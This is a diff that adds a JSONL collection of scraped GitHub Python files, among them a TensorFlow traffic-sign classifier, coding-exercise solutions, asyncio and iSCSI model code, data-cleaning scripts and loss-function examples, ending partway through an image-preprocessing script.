diff --git "a/3028.jsonl" "b/3028.jsonl" new file mode 100644--- /dev/null +++ "b/3028.jsonl" @@ -0,0 +1,1378 @@ +{"seq_id":"2118518669","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 16 14:38:23 2018\n\n@author: Wilkins\n\"\"\"\n\nimport tensorflow as tf\nimport input_data\n\n#%%\nIMG_W = 32\nIMG_H = 32\nN_CLASSES = 62\nBATCH_SIZE = 50\nlearning_rate = 0.0001\nMAX_STEP = 1000\n\n#%%\ndef conv(layer_name, inData,in_channels, out_channels, kernel_size=[3,3], stride=[1,1,1,1], stddev=0.1):\n ''' Convolution op wrapper, use RELU activation after convolution\n Args:\n layer_name: e.g. conv1, conv2...\n inData:\t\tinput tensor, [batch_size, height, width, channels]\n out_channels:\tnumber of output channels (or convolution kernels)\n kernel_size:\tthe size of convolution kernel, VGG paper used: [3, 3]\n stride:\t\ta list of ints. 1-D of length 4. VGG paper used: [1, 1, 1, 1]\n stddev:\n Returns:\n 4D tensor\n '''\n with tf.variable_scope(layer_name):\n weight = tf.Variable(tf.truncated_normal([kernel_size[0],kernel_size[1],in_channels, out_channels],stddev=stddev),name='weight')\n biase = tf.Variable(tf.constant(0.1,shape=[out_channels]),name='biase')\n \n inData = tf.nn.conv2d(inData, weight, stride, padding='SAME', name='conv')\n #inData = tf.nn.bias_add(inData, biases, name='bias_add')\n inData = tf.nn.relu(inData+biase, name='relu')\n return inData\n \ndef pool(layer_name, x, kernel=[1,2,2,1], stride=[1,2,2,1], is_max_pool=True):\n\t'''Pooling op\n\tArgs:\n\t\tx:\t\tinput tensor\n\t\tkernel:\tpooling kernel, VGG paper used [1,2,2,1], the size of kernel is 2x2\n\t\tstride:\tstride size, VGG paper used [1,2,2,1]\n\t\tpadding:\n\t\tis_max_pool: boolen\n\t\t\t\t\tif True: use max pooling\n\t\t\t\t\telse: use avg pooling\n\t'''\n\tif is_max_pool:\n\t\toutput = tf.nn.max_pool(x, ksize=kernel, strides=stride, padding='SAME', name=layer_name)\n\telse:\n\t\toutput = tf.nn.avg_pool(x, ksize=kernel, strides=stride, padding='SAME', name=layer_name)\n\treturn output\n\n#%%\nx = tf.placeholder(tf.float32,[None,IMG_W,IMG_H,3],name='x')\n#x_inputs=tf.reshape(-1,32,32,1)\ny = tf.placeholder(tf.float64,[None,N_CLASSES],name='y')\nkeep_pro=tf.placeholder(tf.float32)\n\nl1 = conv('conv1',x, in_channels=3, out_channels=36,kernel_size=[5,5])\np1 = pool('p1',l1,is_max_pool=True)\n\nl2 = conv('conv2',p1, in_channels=36, out_channels=72,kernel_size=[5,5])\np2 = pool('p2',l2,is_max_pool=True)\n\nwith tf.name_scope('fc1'):\n flat_image=tf.reshape(p2,[-1,8*8*72])\n w3 = tf.Variable(tf.truncated_normal([8*8*72,1024],stddev=0.1),name='w3')\n b3 = tf.Variable(tf.constant(0.1,shape=[1024]),name='b3')\n f1 = tf.nn.relu(tf.matmul(flat_image,w3)+b3)\n d1 = tf.nn.dropout(f1,keep_prob=keep_pro)\n \nwith tf.name_scope('fc2'):\n w4 = tf.Variable(tf.truncated_normal([1024,N_CLASSES],stddev=0.1),name='w4')\n b4 = tf.Variable(tf.constant(0.1,shape=[N_CLASSES]),name='b4')\n result = tf.nn.softmax(tf.matmul(d1,w4)+b4)\n\nloss = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(labels=y,logits=result))\ntrain= tf.train.AdamOptimizer(learning_rate).minimize(loss)\n\ndeal_result = tf.equal(tf.argmax(result,1),tf.argmax(y,1))\nacc = tf.reduce_mean(tf.cast(deal_result,tf.float32))\n\n\n#%%\nif __name__ == '__main__':\n\n train_data_dir ='./data/Training/'\n test_data_dir ='./data/Testing/'\n saver = tf.train.Saver(tf.global_variables())\n \n train_images,train_labels = input_data.get_files(train_data_dir)\n test_images,test_labels = input_data.get_files(test_data_dir) \n n_batch=len(train_images)//50\n with tf.Session() as sess:\n \n sess.run(tf.global_variables_initializer())\n train_images_batch_t,train_labels_batch_t = input_data.get_batch(sess,train_images,train_labels,IMG_W,IMG_H,BATCH_SIZE,400)\n\n test_images_batch_t,test_labels_batch_t = input_data.get_batch(sess,test_images,test_labels,IMG_W,IMG_H,2520,2520)\n\n for step in range(MAX_STEP):\n for batch in range(n_batch):\n\n train_images_batch,train_labels_batch=sess.run([train_images_batch_t,train_labels_batch_t])\n _, loss_value = sess.run([train, loss], \n feed_dict = {x:train_images_batch, y:train_labels_batch,keep_pro:0.5})\n if step % 5 == 0:\n test_images_batch,test_labels_batch=sess.run([test_images_batch_t,test_labels_batch_t])\n accuracy = sess.run([acc], \n feed_dict = {x: test_images_batch, y:test_labels_batch,keep_pro:1.0})[0] \n print(\"Step %d, train loss = %.2f, val accuracy = %.4f%%\"%(step,loss_value,accuracy*100))\n if step % 1000 == 0 or (step + 1) == MAX_STEP:\n checkpoint_path = './log/train/model.ckpt'\n saver.save(sess, checkpoint_path, global_step=step)\n\n#%%\n \n","repo_name":"ThreoSRD/Traffic-sign-recognition","sub_path":"traffic_sign_cnn.py","file_name":"traffic_sign_cnn.py","file_ext":"py","file_size_in_byte":4743,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"26939955732","text":"import numpy as np\r\nimport math\r\nimport warnings\r\nimport matplotlib.pyplot as plt\r\nimport time\r\n\r\n\r\ndef geometric_median(X, numIter = 1000):\r\n \"\"\"\r\n Compute the geometric median of a point sample.\r\n The geometric median coordinates will be expressed in the Spatial Image reference system (not in real world metrics).\r\n We use the Weiszfeld's algorithm (http://en.wikipedia.org/wiki/Geometric_median)\r\n\r\n :Parameters:\r\n - `X` (list|np.array) - voxels coordinate (3xN matrix)\r\n - `numIter` (int) - limit the length of the search for global optimum\r\n\r\n :Return:\r\n - np.array((x,y,z)): geometric median of the coordinates;\r\n \"\"\"\r\n # -- Initialising 'median' to the centroid\r\n y = np.mean(X,1)\r\n # -- If the init point is in the set of points, we shift it:\r\n while (y[0] in X[0]) and (y[1] in X[1]) and (y[2] in X[2]):\r\n y+=0.1\r\n\r\n convergence=False # boolean testing the convergence toward a global optimum\r\n dist=[] # list recording the distance evolution\r\n\r\n # -- Minimizing the sum of the squares of the distances between each points in 'X' and the median.\r\n i=0\r\n while ( (not convergence) and (i < numIter) ):\r\n num_x, num_y, num_z = 0.0, 0.0, 0.0\r\n denum = 0.0\r\n m = X.shape[1]\r\n d = 0\r\n for j in range(0,m):\r\n div = math.sqrt( (X[0,j]-y[0])**2 + (X[1,j]-y[1])**2 + (X[2,j]-y[2])**2 )\r\n num_x += X[0,j] / div\r\n num_y += X[1,j] / div\r\n num_z += X[2,j] / div\r\n denum += 1./div\r\n d += div**2 # distance (to the median) to miminize\r\n dist.append(d) # update of the distance evolution\r\n\r\n if denum == 0.:\r\n warnings.warn( \"Couldn't compute a geometric median, please check your data!\" )\r\n return [0,0,0]\r\n\r\n y = [num_x/denum, num_y/denum, num_z/denum] # update to the new value of the median\r\n print(y)\r\n if i > 3:\r\n convergence=(abs(dist[i]-dist[i-2])<0.0001) # we test the convergence over three steps for stability\r\n #~ print abs(dist[i]-dist[i-2]), convergence\r\n i += 1\r\n if i == numIter:\r\n raise ValueError( f\"The Weiszfeld's algoritm did not converged after {numIter} iterations !!!!!!!!!\" )\r\n # -- When convergence or iterations limit is reached we assume that we found the median.\r\n\r\n return np.array(y)\r\n\r\n\r\nA = np.array([[5, 0, 0],[-1, 0, 0],[0, 1, 0],[0, -5, 0]])\r\nplt.plot(A[:,0], A[:,1], 'ro')\r\ntic = time.perf_counter()\r\nx = geometric_median(A, numIter = 100)\r\ntoc = time.perf_counter()\r\nplt.plot(x[0], x[1], 'go')\r\nprint(\"x\", x)\r\nplt.axis('scaled')\r\nprint(\"Time\", toc-tic)\r\nplt.show()","repo_name":"magazinnikdan/Algorithms","sub_path":"Weiszfeld_1.py","file_name":"Weiszfeld_1.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"31336935519","text":"import datetime\nfrom random import random\nimport asyncio\nfrom asyncio import sleep\nfrom termcolor import colored\nfrom time import sleep as sleep_no_async\n\n\nloop = asyncio.get_event_loop()\nCOUNTDOWNS = (('A', 4, 'red'), ('B', 5, 'green'), ('C', 10, 'blue'))\n\n\ndef colored_print(text, color):\n print(colored(text, color, attrs=['bold']))\n\n\nasync def countdown(name, start, delay, color, depends_on=None, dependents=None):\n dependents = dependents or []\n depends_on = depends_on or []\n for dep_task in depends_on:\n print('{}: waiting for parent'.format(name))\n await dep_task\n print('{}: waiting for parent over'.format(name))\n colored_print('countdown {} delayed by {} seconds'.format(name, delay), color)\n await sleep(delay)\n for i in range(start, 0, -1):\n colored_print('countdown {}: {}'.format(name, i), color)\n await sleep(1)\n for dep_task in dependents:\n print('{}: notifyiing waiting dependents'.format(name))\n dep_task.set_result((name, start, color,))\n return (name, start, color)\n\n\ndef liftoff(future):\n colored_print('{}: liftoff...'.format(future.result()[0]), future.result()[2])\n\ndef complete(future):\n colored_print('{}: countdown to {} complete.'.format(*future.result()[:2]), future.result()[2])\n\n\nasync def monitor_tasks(*tasks):\n while any([not task.done() for task in tasks]):\n print('Some tasks still pending...')\n await sleep(1)\n print('all tasks done...')\n\n\ndef schedule_countdowns(*countdowns):\n tasks = []\n B_future = loop.create_future()\n A_future = loop.create_future()\n for name, count, color in countdowns:\n if name == 'A':\n task = loop.create_task(countdown(name, count, random(), color, depends_on=[B_future], dependents=[A_future]))\n elif name == 'B':\n task = loop.create_task(countdown(name, count, random(), color, depends_on=[A_future], dependents=[B_future]))\n else:\n task = loop.create_task(countdown(name, count, random(), color))\n task.add_done_callback(complete)\n task.add_done_callback(liftoff)\n tasks.append(task)\n return tasks\n\n\nif __name__ == '__main__':\n start = datetime.datetime.now()\n print('starting all tasks at {}'.format(start))\n loop.run_until_complete(monitor_tasks(*schedule_countdowns(*COUNTDOWNS)))\n end = datetime.datetime.now()\n print('ending all tasks at {}'.format(end))\n print('total {}'.format((end-start).total_seconds()))\n","repo_name":"Akilesh1597/async_launch","sub_path":"example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9985197853","text":"# Given an array A of positive integers. Your task is to find the leaders in the array. An element of array is leader if it is greater than or equal to all the elements to its right side. The rightmost element is always a leader. \n\nn = int(input(\"Enter size of array: \"))\narr = []\n\nfor i in range(0,n):\n arr.append(int(input()))\n\nfor i in range(0,n):\n count=0\n for j in range(i+1, n):\n if(arr[i] > arr[j]):\n count += 1 \n if(count == n-i-1):\n print(arr[i])\n \n","repo_name":"Sandhra-gk/Python_Coding_Questions","sub_path":"Leaders_in_an_array.py","file_name":"Leaders_in_an_array.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4073239509","text":"import logging\n\nfrom django.db import models\n\nfrom ceph_iscsi import tasks\nfrom nodb.models import NodbModel, JsonField\nfrom deepsea import DeepSea\nfrom ceph_iscsi.lrbd_conf import LRBDConf, LRBDUi\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass iSCSIInterface(NodbModel):\n hostname = models.CharField(max_length=250, primary_key=True, editable=False)\n interfaces = JsonField(base_type=list, editable=False, null=True, blank=True)\n\n @staticmethod\n def get_all_objects(context, query):\n\n # currently context.fsid will be ignored because DeepSea still\n # does not support multiple Ceph clusters\n\n interfaces = DeepSea.instance().iscsi_interfaces()\n return [iSCSIInterface(**iSCSIInterface.make_model_args(i)) for i in interfaces]\n\n\nclass iSCSITarget(NodbModel):\n targetId = models.CharField(max_length=120, primary_key=True, editable=True)\n newTargetId = models.CharField(max_length=120, editable=True, null=True, blank=True)\n targetSettings = JsonField(base_type=object, editable=True, null=True, blank=True)\n portals = JsonField(base_type=list, editable=True, null=False, blank=False)\n images = JsonField(base_type=list, editable=True, null=False, blank=False)\n authentication = JsonField(base_type=object, editable=True, null=True, blank=True)\n\n @staticmethod\n def get_all_objects(context, query):\n # currently context.fsid will be ignored because DeepSea still\n # does not support multiple Ceph clusters\n\n config = DeepSea.instance().iscsi_config()\n targets = [t.to_ui_dict() for t in LRBDConf(config).targets()]\n for t in targets:\n t['newTargetId'] = None\n targets = [iSCSITarget(**iSCSITarget.make_model_args(t)) for t in targets]\n\n return targets\n\n @staticmethod\n def extract_hostnames(portals):\n return set(map(lambda portal: portal['hostname'], portals))\n\n def _validate(self):\n luns = set()\n uuids = set()\n for i in self.images:\n # validate LUN assignments\n if 'settings' in i and 'lun' in i['settings']:\n if i['settings']['lun'] in luns:\n raise Exception('Cannot use same LUN id for two different images')\n luns.add(i['settings']['lun'])\n\n # validate UUID assignments\n if 'settings' in i and 'uuid' in i['settings']:\n if i['settings']['uuid'] in uuids:\n raise Exception('Cannot use same UUID for two different images')\n uuids.add(i['settings']['uuid'])\n\n def save(self, force_insert=False, force_update=False, using=None,\n update_fields=None):\n\n self._validate()\n\n targets = []\n old_target = None\n for target in self.__class__.objects.all():\n if target.targetId == self.targetId:\n old_target = target\n continue\n targets.append(target)\n if self.newTargetId and self.newTargetId != self.targetId:\n same_target_id = [t for t in targets if t.targetId == self.newTargetId]\n if same_target_id:\n raise Exception('Target ID: \"{}\" already exists'.format(self.target_id))\n self.targetId = self.newTargetId\n\n targets.append(self)\n lrbd = LRBDUi(targets)\n if DeepSea.instance().iscsi_save(lrbd.lrbd_conf_json()):\n logger.info(\"Saved iSCSI Targets:\\n%s\", [t.targetId for t in targets])\n else:\n logger.info(\"Failed to save iSCSI Targets\")\n\n status = DeepSea.instance().iscsi_status()\n if status:\n minions = iSCSITarget.extract_hostnames(self.portals)\n if old_target:\n minions = minions.union(iSCSITarget.extract_hostnames(old_target.portals))\n task = tasks.async_deploy_exports.delay(list(minions))\n logger.info(\"Scheduled deploy of iSCSI exports: taskqueue_id=%s\", task.id)\n\n super(iSCSITarget, self).save(force_insert, force_update, using, update_fields)\n","repo_name":"openattic/openattic","sub_path":"backend/ceph_iscsi/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"48"} +{"seq_id":"42664348041","text":"import os\r\npasta1 = os.listdir(\"C:/Users/Gabriel/Desktop/exercicios_python_para_desenvolvedores/\")\r\npasta2 = os.listdir(\"C:/Users/Gabriel/Desktop/exercicios_python_para_desenvolvedores/pasta_teste/\")\r\n\r\nnovaLista1 = []\r\nnovaLista2 = []\r\nnomeArquivos1 = []\r\nnomeArquivos2 = []\r\narquivosIguais = []\r\ncontador1 = 0\r\ncontador2 = 0\r\ncontador3 = 0\r\n\r\nfor nomes1 in pasta1:\r\n if nomes1.endswith(\".txt\"):\r\n nomeNovo1 = \"C:/Users/Gabriel/Desktop/exercicios_python_para_desenvolvedores/%s\" % (nomes1)\r\n f1 = open(nomeNovo1, 'r')\r\n novaLista1.append(f1.read())\r\n nomeArquivos1.append(nomes1)\r\n f1.close()\r\n contador1 += 1\r\n\r\nfor nomes2 in pasta2:\r\n if nomes2.endswith(\".txt\"):\r\n nomeNovo2 = \"C:/Users/Gabriel/Desktop/exercicios_python_para_desenvolvedores/pasta_teste/%s\" % (nomes2)\r\n f2 = open(nomeNovo2, 'r')\r\n novaLista2.append(f2.read())\r\n nomeArquivos2.append(nomes2)\r\n f2.close()\r\n contador2 += 1\r\n\r\nwhile contador3 < contador1:\r\n contador4 = 0\r\n while contador4 < contador2:\r\n if novaLista1[contador3] == novaLista2[contador4]:\r\n arquivosIguais.append(nomeArquivos1[contador3])\r\n arquivosIguais.append(nomeArquivos2[contador4])\r\n contador4 += 1\r\n contador3 += 1\r\nprint('Esses são os arquivos que são iguais na pasta 1 e na pasta 2: ')\r\nprint(arquivosIguais)\r\n \r\n","repo_name":"gabriel-s-silva/exercicios-python","sub_path":"exercicios_python_para_desenvolvedores/pag68_exercicio5.py","file_name":"pag68_exercicio5.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73446996946","text":"# 조교의 성적 매기기\n\nimport sys\nsys.stdin = open('input.txt', 'r')\n\nT = int(input())\nfor tc in range(1, T+1):\n N, K = map(int, input().split())\n S = [0] * N\n for s in range(N):\n mt, et, hw = map(int,input().split())\n sum_s = mt * 0.35 + et * 0.45 + hw * 0.2\n S[s] += sum_s\n # S = 학생들의 총점 리스트\n # S_rank = 학생들의 총점 정렬\n S_rank = S[::]\n for j in range(N-1):\n for i in range(j+1, N):\n if S_rank[j] < S_rank[i]:\n S_rank[j], S_rank[i] = S_rank[i], S_rank[j]\n \n # rank : 학생들의 번호별 순위\n rank = [0] * N\n for x in range(N):\n for y in range(N):\n if S[x] == S_rank[y]:\n rank[x] += y\n \n Grade = ['A+', 'A0', 'A-', 'B+', 'B0', 'B-', 'C+', 'C0', 'C-', 'D0']\n result = Grade[int((rank[K-1] / N) * 10)]\n print(f'#{tc} {result}')","repo_name":"eunzi-kim/CODE_Practice","sub_path":"SWEA/D2/1983.py","file_name":"1983.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"41033142801","text":"# 实现 strStr() 函数。 \n# \n# 给定一个 haystack 字符串和一个 needle 字符串,在 haystack 字符串中找出 needle 字符串出现的第一个位置 (从0开始)。如\n# 果不存在,则返回 -1。 \n# \n# 示例 1: \n# \n# 输入: haystack = \"hello\", needle = \"ll\"\n# 输出: 2\n# \n# \n# 示例 2: \n# \n# 输入: haystack = \"aaaaa\", needle = \"bba\"\n# 输出: -1\n# \n# \n# 说明: \n# \n# 当 needle 是空字符串时,我们应当返回什么值呢?这是一个在面试中很好的问题。 \n# \n# 对于本题而言,当 needle 是空字符串时我们应当返回 0 。这与C语言的 strstr() 以及 Java的 indexOf() 定义相符。 \n# Related Topics 双指针 字符串 \n# 👍 634 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n a = len(needle)\n b = len(haystack)\n if a == 0:\n return 0\n i = j = 0\n next = self.getnext(a, needle)\n while i < b and j < a:\n if j == -1 or needle[j] == haystack[i]:\n i += 1\n j += 1\n else:\n j = next[j]\n if j == a:\n return i - j\n else:\n return -1\n\n def getnext(self, a, needle):\n next = [0 for _ in range(a)]\n j, k = 0, -1\n next[0] = k\n while j < a - 1:\n if k == -1 or needle[k] == needle[j]:\n k += 1\n j += 1\n next[j] = k\n else:\n k = next[k]\n return next\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\na = Solution()\nprint(a.strStr(\"aabaaabaaac\",\n \"aabaaac\"))\n","repo_name":"lishx-archive/Leetcode","sub_path":"leetcode/editor/cn/[28]实现 strStr().py","file_name":"[28]实现 strStr().py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44016471244","text":"\"\"\"\n Given an array of ints nums sorted in non-decreasing order,\n find the starting and ending position of a given target val\n\n If target is not found in the arr, return [-1, -1]\n\n You must write the algo with O(logn) runtime complexity\n\"\"\"\n\n\ndef search_range(nums: list[int], target: int) -> list[int]:\n start = end = -1\n\n # two bin search\n l, r = 0, len(nums) - 1\n while l <= r:\n # calculate mid\n mid = l + (r - l) // 2\n if (mid == 0 or nums[mid - 1] < target) and nums[mid] == target:\n start = mid\n break\n elif nums[mid] < target:\n l = mid + 1\n else:\n r = mid - 1\n\n # second for end\n if start == -1:\n return [start, end]\n\n l, r = start, len(nums) - 1\n while l <= r:\n mid = l + (r - l) // 2\n if (mid == len(nums) - 1 or nums[mid + 1] > target) and nums[mid] == target:\n end = mid\n break\n elif nums[mid] > target:\n r = mid - 1\n else:\n l = mid + 1\n\n return [start, end]\n\n\n\nprint(search_range([5,7,7,8,8,10], 8) == [3,4])\nprint(search_range([5,7,7,8,8,10], 6) == [-1,-1])\nprint(search_range([5], 5) == [0,0])\nprint(search_range([], 0) == [-1, -1])\n","repo_name":"NickArakaki/ds-a-practice","sub_path":"LeetCode/Completed/Arrays/34.FindFirstandLastPositionofElInSortedArray.py","file_name":"34.FindFirstandLastPositionofElInSortedArray.py","file_ext":"py","file_size_in_byte":1244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9959209687","text":"import re\n\n\ndef regex_remove():\n html_tag = re.compile(r'<.*?>')\n number = re.compile(r'\\d+')\n\n with open('test.csv', 'r') as input_file:\n data = input_file.read()\n data = re.sub(html_tag, '', data)\n data = re.sub(number, '', data)\n\n with open('cleaned.csv', \"w\") as output_file:\n output_file.write(data)\n\n\nregex_remove()\n","repo_name":"Azure100503/PYTHON","sub_path":"REGEX REMOVE/RegexRemoving.py","file_name":"RegexRemoving.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"30610850785","text":"# DATE: 04/11/2022, 06:57:04\n# PROBLEM NAME: Prime Generator\n# PROBLEM URL: https://www.codechef.com/problems/PRIME1\n# PROBLEM DIFFICULTY RATTING: 1069\n# STATUS: accepted\n# TIME: 9.70\n# MEMORY: 9.8M\n\ndef is_prime(num):\r\n if num <= 1:\r\n return False\r\n elif num == 2:\r\n return True\r\n elif num > 2 and num % 2 == 0:\r\n return False\r\n for i in range(3, int(num ** 0.5) + 1, 2):\r\n if num % i == 0:\r\n return False\r\n return True\r\n\r\n\r\nfor _ in range(int(input())):\r\n m, n = map(int, input().split())\r\n for i in range(m, n + 1):\r\n if is_prime(i):\r\n print(i)\r\n print()\r\n\n\n","repo_name":"Yash2003Bisht/ProblemSolutions","sub_path":"solutions/codechef/PRIME1/PRIME1_7.py","file_name":"PRIME1_7.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"12565631320","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ## Phase 1: Part 3: Clean up of EDGE data files. This notebook contains code that cleans and preps the edge data file that contains the school neighborhood income ratio estimate data\n# #### Notes: The estimates reflect the income-to- poverty ratio (IPR), which is the percentage of family income that is above or below the federal poverty threshold set for the family’s size and structure. The IPR indicator ranges from 0 to 999.1 Lower IPR values indicate a greater degree of poverty. A family with income at the poverty threshold has an IPR value of 100. The Census Bureau calculates the IPR based on money income reported for families. \n\n# ### Loading necessary libraries\n\n# In[3]:\n\n\nimport pandas\npandas.__version__\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[4]:\n\n\ncd /Users/dansa/Documents/GitHub/Phase1/Data/EDGE\n\n\n# #### Loading in file and reading the first 5 rows\n\n# In[5]:\n\n\nedge = pandas.read_csv(\"sch_neighborhood_poverty.csv\")\nedge.head()\n\n\n# Reviewing the datatypes and shape of the file\n\n# In[6]:\n\n\nedge.dtypes\n\n\n# In[7]:\n\n\nedge.shape\n\n\n# #### Adding leading zeros to Federal school ID and checking to see if change was applied accurately\n\n# In[8]:\n\n\nedge['NCESSCH'] = edge['NCESSCH'].apply(lambda x: '{0:0>12}'.format(x))\n\n\n# In[9]:\n\n\nedge['NCESSCH_length'] = edge['NCESSCH'].map(str).apply(len)\n\n\n# In[10]:\n\n\nedge.head()\n\n\n# In[11]:\n\n\nedge.describe()\n\n\n# #### Checking to make sure School ID is unique and free of duplicates\n\n# In[12]:\n\n\nedge['NCESSCH'].is_unique\n\n\n# In[13]:\n\n\nedge.drop(edge.columns[[4]], axis =1, inplace=True)\n\n\n# In[14]:\n\n\nedge.rename(columns={'IPR_EST':'Income_Poverty_ratio'}, inplace=True)\n\n\n# In[15]:\n\n\nedge.head()\n\n\n# #### Use heatmap to determine if there are missing data\n\n# In[16]:\n\n\nsns.heatmap(edge.isnull(),yticklabels=False,cbar=True,cmap='viridis')\n\n\n# #### Checking the distribution\n\n# In[17]:\n\n\nedge.hist()\n\n\n# In[18]:\n\n\nfrom pandas.plotting import scatter_matrix\nscatter_matrix(edge, alpha=0.2, figsize=(6, 6), diagonal='kde')\n\n\n# In[19]:\n\n\n#### Saving final copy of the merge file for later use\n\n\n# In[20]:\n\n\nedge.to_csv (r'/Users/dansa/Documents/GitHub/Phase1/Data/EDGE/Clean_EDGE.csv', index = False, header=True)\n\n","repo_name":"dansari12/Predicting-high-school-assessment-proficiency","sub_path":"Phase1/Code/Clean_Edge_data.py","file_name":"Clean_Edge_data.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37881033020","text":"# @Author : YashowHoo\r\n# @File : cce_loss.py\r\n# @Description :categorical cross-entropy loss\r\n\r\nimport numpy as np\r\nimport torch\r\nfrom torch import nn\r\nfrom sklearn import metrics\r\n\r\n\r\ndef np_cce_loss(y_pred, y_true):\r\n \"\"\"\r\n Calculate cce loss in numpy\r\n\r\n :param y_pred:\r\n :param y_true: one-hot encode\r\n :return:\r\n \"\"\"\r\n cce_loss = -(np.sum(y_true * np.log(y_pred))).mean()\r\n\r\n return cce_loss\r\n\r\n\r\ndef torch_cce_loss(y_pred, y_true):\r\n \"\"\"\r\n torch version\r\n\r\n :param y_pred: input logits\r\n :param y_true: [num_class]\r\n :return:\r\n \"\"\"\r\n loss_func = nn.CrossEntropyLoss()\r\n\r\n return loss_func(y_pred, y_true)\r\n\r\n\r\nif __name__ == '__main__':\r\n pred_array = np.array([[0.8, 0.1, 0.1],\r\n [0.7, 0.2, 0.1],\r\n [0.1, 0.3, 0.6]])\r\n # one-hot encode\r\n true_array = np.array([[1, 0, 0],\r\n [1, 0, 0],\r\n [0, 0, 1]])\r\n cce_in_np = np_cce_loss(pred_array, true_array)\r\n print(cce_in_np)\r\n\r\n pred_tensor = torch.from_numpy(pred_array)\r\n true_tensor = torch.tensor([0, 0, 2])\r\n\r\n cce_in_torch = torch_cce_loss(pred_tensor, true_tensor)\r\n print(cce_in_torch.item())\r\n","repo_name":"Yashow98/Awesome-Loss-Function","sub_path":"torch_loss/cce_loss.py","file_name":"cce_loss.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74542938706","text":"import argparse\nimport copy\nimport glob\nimport os\n\nimport bm3d\nimport cv2\nimport numpy as np\nimport skimage.morphology as sm\nfrom skimage import io, filters, transform\nfrom skimage.morphology import disk\nfrom skimage.util import crop\nfrom tqdm import tqdm\n\n\n# warnings.filterwarnings('error')\n# np.seterr(all='ignore')\n\n\ndef crops(trans, mor):\n white = np.max(mor)\n white_area = np.argwhere(mor == white)\n height_white_area = white_area[:, 0]\n upside = np.min(height_white_area)\n downside = np.max(height_white_area)\n return crop(trans, ((upside, len(trans) - downside), (0, 0)))\n\n\ndef mid_bottom_line(img):\n white = np.max(img)\n mid_r = []\n bottom_r = []\n for i in range(len(img[0])):\n area = np.argwhere(img[:, i] == white)\n if len(area) == 0:\n mid_r.append(None)\n bottom_r.append(None)\n else:\n up = np.min(area)\n bottom = np.max(area)\n mid = (up + bottom) >> 1\n mid_r.append(mid)\n bottom_r.append(bottom)\n return mid_r, bottom_r\n\n\ndef method_judgement(mid_upwards, bot_upwards, p2_coe_mid, p1_coe_mid, p2_coe_bot, p1_coe_bot):\n use_p2 = None\n # print(mid_upwards)\n if mid_upwards:\n if p2_coe_mid >= p1_coe_mid:\n # p2+mid\n use_p2 = True\n else:\n # p1+mid\n use_p2 = False\n else:\n if bot_upwards:\n if p2_coe_bot >= p1_coe_bot:\n # p2+bot\n use_p2 = True\n else:\n # p1+bot\n use_p2 = False\n else:\n # p1+bot\n use_p2 = False\n return use_p2\n\n\ndef p2_alignment(p2_fit, trans, mor):\n avg_hook = np.average(p2_fit)\n diff_mov = p2_fit - avg_hook\n for i in range(len(trans[0])):\n diff = int(diff_mov[i])\n if diff != 0:\n mor[:, i] = np.array(mor[diff:, i].tolist() + mor[:diff, i].tolist())\n trans[:, i] = np.array(\n trans[diff:, i].tolist() + trans[:diff, i].tolist())\n return trans, mor\n\n\ndef p1_alignment(p1_args, img, mor):\n degree = np.degrees(np.arctan2(p1_args[0], 1))\n rotated = transform.rotate(img, degree, preserve_range=True)\n mor = transform.rotate(mor, degree, preserve_range=True)\n return rotated, mor\n\n\ndef alignment(use_p2, p2_fit, p1_args, img, mor):\n if use_p2:\n return p2_alignment(p2_fit, img, mor)\n else:\n return p1_alignment(p1_args, img, mor)\n\n\ndef fill_black(src_img):\n img = copy.deepcopy(src_img)\n white = 1.0 if np.max(img) <= 1 else 255\n white_area = np.argwhere(img >= white * 0.96)\n for i in white_area:\n img[i[0], i[1]] = 0\n return img\n\n\ndef path_dealer(path_root):\n if path_root.split('/')[-1] == '':\n golbed_path = path_root + '**/*.'\n path_root = path_root[:-1]\n else:\n golbed_path = path_root + '/**/*.'\n\n ext = ['jpeg', 'jpg']\n\n total_path = []\n _ = [total_path.extend(glob.glob(golbed_path + e, recursive=True)) for e in ext]\n glob.glob(golbed_path, recursive=True)\n new_root = path_root + '_preprocessed'\n return total_path, new_root\n\n\ndef preprocess_single(src_img_path, new_root, need_save=True, skip_dul=True):\n try:\n splited = os.path.split(src_img_path)[0].split('/')[-1] + '_preprocessed'\n output_path = os.path.join(new_root, 